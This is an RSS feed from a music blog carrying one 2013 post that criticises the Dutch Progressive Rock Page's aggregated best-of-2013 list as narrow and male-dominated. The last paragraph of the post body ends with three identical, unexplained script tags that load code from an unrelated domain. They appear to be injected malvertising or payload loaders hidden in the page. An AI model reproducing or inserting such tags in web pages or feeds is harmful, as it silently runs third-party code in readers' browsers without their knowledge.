<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Where Worlds Collide &#187; DPRP</title>
	<atom:link href="http://www.kalyr.co.uk/weblog/tag/dprp/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.kalyr.co.uk/weblog</link>
	<description>The blogs of Tim Hall</description>
	<lastBuildDate>Fri, 10 Mar 2017 15:33:59 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=3.7.41</generator>
	<item>
		<title>Prog Conservatism?</title>
		<link>http://www.kalyr.co.uk/weblog/music/music-opinion/prog-conservatism/</link>
		<comments>http://www.kalyr.co.uk/weblog/music/music-opinion/prog-conservatism/#comments</comments>
		<pubDate>Tue, 31 Dec 2013 11:49:06 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Music Opinion]]></category>
		<category><![CDATA[DPRP]]></category>
		<category><![CDATA[Prog]]></category>
		<category><![CDATA[The Guardian Music Blog]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=9439</guid>
		<description><![CDATA[Or does the Dutch Progressive Rock Page's best of 2013 just reflect the problem with aggregated lists? <a href="http://www.kalyr.co.uk/weblog/music/music-opinion/prog-conservatism/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I remember a discussion a few months back with The Guardian&#8217;s Alexis Petridis where I suggested that the aggregated best-of lists that appear in many music publications tended to be boring and predictable. They often end up reinforcing a lowest-common-denominator consensus, and frequently exclude the more eclectic choices of individual contributors. For example, none of <a href="http://www.theguardian.com/music/musicblog/2013/dec/23/best-albums-tracks-2013-writers-votes">Dom Lawson&#8217;s excellent choices</a> made The Guardian&#8217;s top 40 of 2012</p>
<p>The <a href="http://www.dprp.net/wp/radio/?p=735">top 15 of 2013 from The Dutch Progressive Rock Page</a> seems to bear this out. Despite containing many great albums that also appear on <a href="http://www.kalyr.co.uk/weblog/tag/2013-end-of-year-list/">my own best of the year list</a>, it does give the impression that it takes a very narrow definition of &#8220;Prog&#8221;. It&#8217;s true that Riverside, Steven Wilson, Haken and Big Big Train have all made great albums that deserve to be honoured. But there&#8217;s no place for the likes of The Fierce and The Dead, Luna Rossa, Ihsahn or even Fish, all of which fall under the broad spectrum of progressive music, but don&#8217;t fit a narrow neo-progressive template. It&#8217;s also notable how male the list is; only one band out of the 15 (Magenta) have a female lead singer.</p>
<p>It would be easy to blame this on musical conservatism on behalf of the site&#8217;s contributors, but I strongly suspect that when a list is defined by what it excludes, it merely demonstrates that such aggregated lists are of limited usefulness.<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kalyr.co.uk/weblog/music/music-opinion/prog-conservatism/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>
